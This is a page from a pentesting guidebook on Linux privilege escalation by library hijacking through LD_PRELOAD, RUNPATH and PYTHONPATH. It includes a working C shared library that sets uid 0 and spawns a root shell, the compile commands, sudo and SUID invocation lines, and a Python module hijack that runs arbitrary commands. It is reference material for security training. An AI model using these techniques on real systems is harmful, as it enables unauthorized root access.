Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Books
    • My Exploits
    • Compiled Binaries
Powered by GitBook
On this page
  • LD_PRELOAD
  • Requirements
  • Enumeration
  • Attack
  • RUNPATH
  • Requirements
  • Enumeration
  • Attack
  • PYTHONPATH
  • Requirements
  • Enumeration
  • Attack

Was this helpful?

  1. Pentesting Process
  2. Privilege Escalation
  3. Linux

Linux Privilege Escalation with Library

Contains the details of the topic Privilege Escalation/Linux/Functionality/Library.

LD_PRELOAD

The LD_PRELOAD environment variable can specify to load a library before running a binary. The functions of this library take precedence over the default functions. Therefore, the idea is to have it load a malicious library.

Requirements

  • Have control of the LD_PRELOAD environment variable.

  • Dynamic executables in SUDOERS or with SUID.

Enumeration

ldd <BINARY_SUDOERS_SUID>

Attack

Create the library mylib.c

mylib.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Compile the library

gcc -fPIC -shared -o mylib.so mylib.c -nostartfiles

Use the library with LD_PRELOAD

sudo LD_PRELOAD=/tmp/root.so <SUDOERS_COMMAND>
LD_PRELOAD=/tmp/root.so <SUID_BINARY>

RUNPATH

The RUNPATH setting within binaries specifies which folders take precedence over other folders to look for libraries on. If that setting points to a user-writable folder, it is possible to have it load a malicious library.

Requirements

  • Have a dynamic binary in SUDOERS or with SUID.

  • This binary must have RUNPATH set to a writable directory.

Enumeration

readelf -d <BINARY_SUDOERS_SUID> | grep PATH
# Visualize if there is runpath and where it points to
ldd <BINARY_SUDOERS_SUID>
# name of dynamic libraries required

Attack

Try replacing the library in the directory pointed to by RUNPATH with another one, ex., /lib/x86_64-linux-gnu/libc.so.6. Check the error it returns, usually specifying the functions it cannot find.

Create the library with the same name as the library in the directory pointed to by RUNPATH, with the required functions inside it

mylib.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

void <FUNCTION_NAME_REQUIRED>() {}

It is also possible to put the code of _init in the function below.

Compile the library

gcc -fPIC -shared -o <NAME_SHARED_LIBRARY_IN_RUNPATH> mylib.c -nostartfiles

Run the binary normally

sudo <SUDOERS_COMMAND>
./<SUID_BINARY>

PYTHONPATH

Requirements

  • Executable python scripts such as SUDOERS.

  • Know the imported modules and the functions used by those modules.

  • Import modules that are located in writable directories or Among the PATHs that python uses to search for and import modules, we have write access to a PATH with a higher priority than the PATH in which the imported module used in the script is located. or The PYTHONPATH environment variable is manipulable (it indicates in which directory Python can look for modules to import)

Warning: The SUID bit does not work with interpreted scripts (such as Python).

Enumeration

python3 -c 'import sys; print("\n".join(sys.path))'
# Place and order of priority from which python imports modules (first search in current script folder)
pip3 show <MODULO>
# Place of installation of a detarmined module.
echo $PYTHONPATH

Attack

Add the desired code inside the function of the (writable) module imported from the executable script in SUDOERS. or Create a python file with the same name as the module imported from the executable script in SUDOERS, and implement the function that is used by inserting the desired code. or Modify the PYTHONPATH environment variable to redirect the Python search functionality to a user-writable folder, continuing with the second attack.

sudo PYTHONPATH=<PATH_DIRECTORY_SCRIVIBILE> python3 <PROGRAMMA>
def <FUNCTION_NAME>():
    ...
    import os
    os.system('<COMMAND>')
    ....

Last updated 8 months ago

Was this helpful?